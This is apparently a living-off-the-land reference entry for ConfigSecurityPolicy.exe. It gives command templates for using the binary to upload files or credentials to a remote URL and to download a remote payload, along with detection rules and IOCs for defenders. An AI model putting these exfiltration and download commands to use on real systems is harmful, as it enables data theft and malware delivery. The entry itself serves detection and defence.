ConfigSecurityPolicy.exe

Commands

1. UploadUser T1567

   Upload file

   ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}

   Upload file, credentials or data exfiltration in general

   os: Windows 10

2. DownloadUser T1105

   Downloads payload from remote server

   ConfigSecurityPolicy.exe {REMOTEURL}

   It will download a remote payload and place it in INetCache.

   os: Windows 10, Windows 11

   Download: INetCache

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml
• IOCConfigSecurityPolicy storing data into alternate data streams.
• IOCPreventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
• IOCMonitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
• IOCUser Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"

Resources

• https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads
• https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads
• https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor
• https://twitter.com/NtSetDefault/status/1302589153570365440?s=20